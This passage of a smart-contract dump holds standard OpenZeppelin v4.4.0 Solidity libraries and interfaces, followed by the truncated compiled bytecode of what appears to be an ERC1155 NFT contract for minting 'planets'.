to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
0x60806040526004361061023a5760003560e01c80638da5cb5b1161012e578063d547cfb7116100ab578063ea9179ac1161006f578063ea9179ac14610682578063eb8d244414610697578063f242432a146106b8578063f2fde38b146106d8578063f4a0a528146106f857600080fd5b8063d547cfb714610603578063d62280b214610618578063d9b137b21461062d578063e985e9c51461064d578063ea247fd81461066d57600080fd5b80639c3e72bd116100f25780639c3e72bd14610553578063a22cb46514610568578063b2dced1914610588578063b9c9d93a1461059e578063cad96cca146105d657600080fd5b80638da5cb5b146104b557806390b67348146104dd5780639201de55146104fe57806395d89b411461051e57806396d74b981461053357600080fd5b806339fe7f4e116101bc5780636646d457116101805780636646d4571461043e578063715018a614610454578063720483e7146104695780638462151c1461047f5780638bb3b3161461049f57600080fd5b806339fe7f4e146103af5780633ccfd60b146103c95780633cface77146103de5780634e1273f4146103fe57806352850f431461042b57600080fd5b806318160ddd1161020357806318160ddd146103065780632a55205a1461031b5780632eb2c2d61461035a57806330176e131461037a57806334918dfd1461039a57600080fd5b8062fdd58e1461023f57806301ffc9a71461027257806306fdde03146102a25780630934abba146102c45780630e89341c146102e6575b600080fd5b34801561024b57600080fd5b5061025f61025a366004612564565b610718565b6040519081526020015b60405180910390f35b34801561027e57600080fd5b5061029261028d3660046125a6565b6107b2565b6040519015158152602001610269565b3480156102ae57600080fd5b506102b76107ff565b6040516102699190612626565b3480156102d057600080fd5b506102e46102df366004612564565b61088d565b005b3480156102f257600080fd5b506102b7610301366004612639565b6109d1565b34801561031257600080fd5b5061025f610b12565b34801561032757600080fd5b5061033b610336366004612652565b610b22565b604080516001600160a01b039093168352602083019190915201610269565b34801561036657600080fd5b506102e46103753660046127c7565b610b66565b34801561038657600080fd5b506102e4610395366004612874565b610bfd565b3480156103a657600080fd5b506102e4610c58565b3480156103bb57600080fd5b50600e546102929060ff1681565b3480156103d557600080fd5b506102e4610ca3565b3480156103ea57600080fd5b5061025f6103f93660046128bc565b610cfc565b34801561040a57600080fd5b5061041e6104193660046128d9565b610d7e565b60405161026991906129e0565b6102e4610439366004612639565b610ea7565b34801561044a57600080fd5b5061025f610fa081565b34801561046057600080fd5b506102e4611211565b34801561047557600080fd5b5061025f60065481565b34801561048b57600080fd5b5061041e61049a3660046128bc565b611247565b3480156104ab57600080fd5b5061025f60075481565b3480156104c157600080fd5b506003546040516001600160a01b039091168152602001610269565b3480156104e957600080fd5b5060085461029290600160681b900460ff1681565b34801561050a57600080fd5b506102b7610519366004612639565b611374565b34801561052a57600080fd5b506102b76113a3565b34801561053f57600080fd5b506102e461054e3660046129f3565b6113b0565b34801561055f57600080fd5b506102b7611449565b34801561057457600080fd5b506102e4610583366004612a1c565b611456565b34801561059457600080fd5b5061025f6103e881565b3480156105aa57600080fd5b506008546105be906001600160601b031681565b6040516001600160601b039091168152602001610269565b3480156105e257600080fd5b506105f66105f1366004612639565b611461565b6040516102699190612a5a565b34801561060f57600080fd5b506102b7611522565b34801561062457600080fd5b506102b761152f565b34801561063957600080fd5b506102b7610648366004612639565b61153c565b34801561065957600080fd5b50610292610668366004612abb565b611591565b34801561067957600080fd5b5061025f606481565b34801561068e57600080fd5b5061025f600581565b3480156106a357600080fd5b5060085461029290600160601b900460ff1681565b3480156106c457600080fd5b506102e46106d3366004612ae9565b611652565b3480156106e457600080fd5b506102e46106f33660046128bc565b6116d9565b34801561070457600080fd5b506102e4610713366004612639565b611771565b60006001600160a01b0383166107895760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b506000818152602081815260408083206001600160a01b03861684529091529020545b92915050565b60006001600160e01b03198216631131d2f360e21b14156107d557506001919050565b6001600160e01b0319821663152a902d60e11b14156107f657506001919050565b6107ac826117dc565b6009805461080c90612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461083890612b51565b80156108855780601f1061085a57610100808354040283529160200191610885565b820191906000526020600020905b81548152906001019060200180831161086857829003601f168201915b505050505081565b6003546001600160a01b031633146108b75760405162461bcd60e51b815260040161078090612b8c565b610fa0816108c3610b12565b6108cd9190612bd7565b111561091b5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d61782e20737570706c79206f6620706c616e65747300006044820152606401610780565b6000811161096b5760405162461bcd60e51b815260206004820152601760248201527f4d75737420626520706f736974697665206e756d6265720000000000000000006044820152606401610780565b606481610976610b12565b6109809190612bd7565b101580156109985750600854600160681b900460ff16155b156109c3576007546006556008805460ff60681b198116600160681b9182900460ff16159091021790555b6109cd828261182c565b5050565b600e5460609060ff1615610a7157600b80546109ec90612b51565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1890612b51565b8015610a655780601f10610a3a57610100808354040283529160200191610a65565b820191906000526020600020905b815481529060010190602001808311610a4857829003601f168201915b50505050509050919050565b600d610aeb6002610a81856119a2565b604051602001610a919190612c0b565b60408051601f1981840301815290829052610aab91612c0b565b602060405180830381855afa158015610ac8573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906105199190612c27565b604051602001610afc929190612c40565b6040516020818303038152906040529050919050565b6000610b1d60045490565b905090565b600080610b376003546001600160a01b031690565b60085461271090610b51906001600160601b031686612cfb565b610b5b9190612d30565b915091509250929050565b6001600160a01b038516331480610b825750610b828533611591565b610be95760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610780565b610bf68585858585611a9f565b5050505050565b6003546001600160a01b03163314610c275760405162461bcd60e51b815260040161078090612b8c565b600e5460ff1615610c4557600e805460ff19811660ff909116151790555b80516109cd90600d9060208401906124b6565b6003546001600160a01b03163314610c825760405162461bcd60e51b815260040161078090612b8c565b6008805460ff60601b198116600160601b9182900460ff1615909102179055565b6003546001600160a01b03163314610ccd5760405162461bcd60e51b815260040161078090612b8c565b6040514790339082156108fc029083906000818181858888f193505050501580156109cd573d6000803e3d6000fd5b60006001600160a01b038216610d3e5760405162461bcd60e51b81526020600482015260076024820152664e6f207a65726f60c81b6044820152606401610780565b6000805b610d4a610b12565b811015610d7757610d5b8482610718565b610d659083612bd7565b9150610d7081612d44565b9050610d42565b5092915050565b60608151835114610de35760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604482015268040dad2e6dac2e8c6d60bb1b6064820152608401610780565b600083516001600160401b03811115610dfe57610dfe612674565b604051908082528060200260200182016040528015610e27578160200160208202803683370190505b50905060005b8451811015610e9f57610e72858281518110610e4b57610e4b612d5f565b6020026020010151858381518110610e6557610e65612d5f565b6020026020010151610718565b828281518110610e8457610e84612d5f565b6020908102919091010152610e9881612d44565b9050610e2d565b509392505050565b600854600160601b900460ff16610ef05760405162461bcd60e51b815260206004820152600d60248201526c53616c6520496e61637469766560981b6044820152606401610780565b610fa081610efc610b12565b610f069190612bd7565b1115610f545760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d61782e20737570706c79206f6620706c616e65747300006044820152606401610780565b6064610f5e610b12565b10156110625780600114610fb45760405162461bcd60e51b815260206004820152601b60248201527f4d6179206f6e6c79206d696e742031206672656520706c616e657400000000006044820152606401610780565b3415610ff05760405162461bcd60e51b815260206004820152600b60248201526a436865636b20707269636560a81b6044820152606401610780565b610ff933610cfc565b1561105d5760405162461bcd60e51b815260206004820152602e60248201527f43616e6e6f74206d696e74206672656520706c616e657420696620796f75206160448201526d6c7265616479206f776e206f6e6560901b6064820152608401610780565b6111ac565b600081118015611073575060058111155b6110d75760405162461bcd60e51b815260206004820152602f60248201527f4d6179206f6e6c79206d696e74206265747765656e203120616e64203520706c60448201526e616e65747320617420612074696d6560881b6064820152608401610780565b806006546110e59190612cfb565b34146111215760405162461bcd60e51b815260206004820152600b60248201526a436865636b20707269636560a81b6044820152606401610780565b6103e88161112e33610cfc565b6111389190612bd7565b11156111ac5760405162461bcd60e51b815260206004820152603860248201527f45786365656473206d61782e20616c6c6f77656420706c616e6574732070657260448201527f2077616c6c657420696e206f7264657220746f206d696e7400000000000000006064820152608401610780565b6064816111b7610b12565b6111c19190612bd7565b101580156111d95750600854600160681b900460ff16155b15611204576007546006556008805460ff60681b198116600160681b9182900460ff16159091021790555b61120e338261182c565b50565b6003546001600160a01b0316331461123b5760405162461bcd60e51b815260040161078090612b8c565b6112456000611c3b565b565b60606001600160a01b0382166112895760405162461bcd60e51b81526020600482015260076024820152664e6f207a65726f60c81b6044820152606401610780565b6000805b611295610b12565b8110156112c2576112a68482610718565b6112b09083612bd7565b91506112bb81612d44565b905061128d565b506000816001600160401b038111156112dd576112dd612674565b604051908082528060200260200182016040528015611306578160200160208202803683370190505b5090506000805b611315610b12565b81101561136a576113268682610718565b6001141561135a578083838151811061134157611341612d5f565b60209081029190910101528161135681612d44565b9250505b61136381612d44565b905061130d565b5090949350505050565b606061137f82611c8d565b61138c608084901b611c8d565b604080516020810193909352820152606001610afc565b600a805461080c90612b51565b6003546001600160a01b031633146113da5760405162461bcd60e51b815260040161078090612b8c565b6008546001600160601b03828116911614156114225760405162461bcd60e51b81526020600482015260076024820152664e6f74206e657760c81b6044820152606401610780565b600880546bffffffffffffffffffffffff19166001600160601b0392909216919091179055565b6005805461080c90612b51565b6109cd338383611e3f565b60408051600180825281830190925260609160009190816020015b604080518082019091526000808252602082015281526020019060019003908161147c57505060085481519192506001600160601b03169082906000906114c5576114c5612d5f565b6020908102919091018101516001600160601b039092169101526114f16003546001600160a01b031690565b8160008151811061150457611504612d5f565b60209081029190910101516001600160a01b03909116905292915050565b600d805461080c90612b51565b600b805461080c90612b51565b6060611546610b12565b82106115845760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b2102a37b5b2b760991b6044820152606401610780565b600580546109ec90612b51565b600c5460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c455279190602401602060405180830381865afa1580156115e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116079190612d75565b6001600160a01b031614156116205760019150506107ac565b6001600160a01b0380851660009081526001602090815260408083209387168352929052205460ff165b949350505050565b6001600160a01b03851633148061166e575061166e8533611591565b6116cc5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610780565b610bf68585858585611f20565b6003546001600160a01b031633146117035760405162461bcd60e51b815260040161078090612b8c565b6001600160a01b0381166117685760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610780565b61120e81611c3b565b6003546001600160a01b0316331461179b5760405162461bcd60e51b815260040161078090612b8c565b6006548114156117d75760405162461bcd60e51b81526020600482015260076024820152664e6f74206e657760c81b6044820152606401610780565b600655565b60006001600160e01b03198216636cdb3d1360e11b148061180d57506001600160e01b031982166303a24d0760e21b145b806107ac57506301ffc9a760e01b6001600160e01b03198316146107ac565b80600114156118665761185882611841610b12565b600160405180602001604052806000815250612046565b6109cd600480546001019055565b6000816001600160401b0381111561188057611880612674565b6040519080825280602002602001820160405280156118a9578160200160208202803683370190505b5090506000826001600160401b038111156118c6576118c6612674565b6040519080825280602002602001820160405280156118ef578160200160208202803683370190505b50905060005b8381101561195d5780611906610b12565b6119109190612bd7565b83828151811061192257611922612d5f565b602002602001018181525050600182828151811061194257611942612d5f565b602090810291909101015261195681612d44565b90506118f5565b506119798483836040518060200160405280600081525061210d565b60005b83811015610bf657611992600480546001019055565b61199b81612d44565b905061197c565b6060816119c65750506040805180820190915260018152600360fc1b602082015290565b8160005b81156119f057806119da81612d44565b91506119e99050600a83612d30565b91506119ca565b6000816001600160401b03811115611a0a57611a0a612674565b6040519080825280601f01601f191660200182016040528015611a34576020820181803683370190505b5090505b841561164a57611a49600183612d92565b9150611a56600a86612da9565b611a61906030612bd7565b60f81b818381518110611a7657611a76612d5f565b60200101906001600160f81b031916908160001a905350611a98600a86612d30565b9450611a38565b8151835114611ac05760405162461bcd60e51b815260040161078090612dbd565b6001600160a01b038416611ae65760405162461bcd60e51b815260040161078090612e05565b3360005b8451811015611bcd576000858281518110611b0757611b07612d5f565b602002602001015190506000858381518110611b2557611b25612d5f565b602090810291909101810151600084815280835260408082206001600160a01b038e168352909352919091205490915081811015611b755760405162461bcd60e51b815260040161078090612e4a565b6000838152602081815260408083206001600160a01b038e8116855292528083208585039055908b16825281208054849290611bb2908490612bd7565b9250508190555050505080611bc690612d44565b9050611aea565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051611c1d929190612e94565b60405180910390a4611c33818787878787612254565b505050505050565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b7aff00000000000000ff00000000000000ff00000000000000ff00006bffffffff0000000000000000604083901c90811663ffffffff60c01b84161760201c63ffffffff60601b919091166001600160e01b031984161717601081901c9182167eff00000000000000ff00000000000000ff00000000000000ff000000000000821617600890811c7bff00000000000000ff00000000000000ff00000000000000ff000000939093167fff00000000000000ff00000000000000ff00000000000000ff000000000000009290921691909117919091179081901c7e0f000f000f000f000f000f000f000f000f000f000f000f000f000f000f000f167f0f000f000f000f000f000f000f000f000f000f000f000f000f000f000f000f00600492831c161790611ddb827f0606060606060606060606060606060606060606060606060606060606060606612bd7565b901c7f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f166027611e0b9190612cfb565b611e35827f3030303030303030303030303030303030303030303030303030303030303030612bd7565b6107ac9190612bd7565b816001600160a01b0316836001600160a01b03161415611eb35760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604482015268103337b91039b2b63360b91b6064820152608401610780565b6001600160a01b03838116600081815260016020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6001600160a01b038416611f465760405162461bcd60e51b815260040161078090612e05565b33611f5f818787611f56886123b0565b610bf6886123b0565b6000848152602081815260408083206001600160a01b038a16845290915290205483811015611fa05760405162461bcd60e51b815260040161078090612e4a565b6000858152602081815260408083206001600160a01b038b8116855292528083208785039055908816825281208054869290611fdd908490612bd7565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461203d8288888888886123fb565b50505050505050565b6001600160a01b03841661206c5760405162461bcd60e51b815260040161078090612eb9565b3361207d81600087611f56886123b0565b6000848152602081815260408083206001600160a01b0389168452909152812080548592906120ad908490612bd7565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4610bf6816000878787876123fb565b6001600160a01b0384166121335760405162461bcd60e51b815260040161078090612eb9565b81518351146121545760405162461bcd60e51b815260040161078090612dbd565b3360005b84518110156121f05783818151811061217357612173612d5f565b602002602001015160008087848151811061219057612190612d5f565b602002602001015181526020019081526020016000206000886001600160a01b03166001600160a01b0316815260200190815260200160002060008282546121d89190612bd7565b909155508190506121e881612d44565b915050612158565b50846001600160a01b031660006001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051612241929190612e94565b60405180910390a4610bf6816000878787875b6001600160a01b0384163b15611c335760405163bc197c8160e01b81526001600160a01b0385169063bc197c81906122989089908990889088908890600401612efa565b6020604051808303816000875af19250505080156122d3575060408051601f3d908101601f191682019092526122d091810190612f58565b60015b612380576122df612f75565b806308c379a0141561231957506122f4612f91565b806122ff575061231b565b8060405162461bcd60e51b81526004016107809190612626565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356044820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b6064820152608401610780565b6001600160e01b0319811663bc197c8160e01b1461203d5760405162461bcd60e51b81526004016107809061301a565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106123ea576123ea612d5f565b602090810291909101015292915050565b6001600160a01b0384163b15611c335760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e619061243f9089908990889088908890600401613062565b6020604051808303816000875af192505050801561247a575060408051601f3d908101601f1916820190925261247791810190612f58565b60015b612486576122df612f75565b6001600160e01b0319811663f23a6e6160e01b1461203d5760405162461bcd60e51b81526004016107809061301a565b8280546124c290612b51565b90600052602060002090601f0160209004810192826124e4576000855561252a565b82601f106124fd57805160ff191683800117855561252a565b8280016001018555821561252a579182015b8281111561252a57825182559160200191906001019061250f565b5061253692915061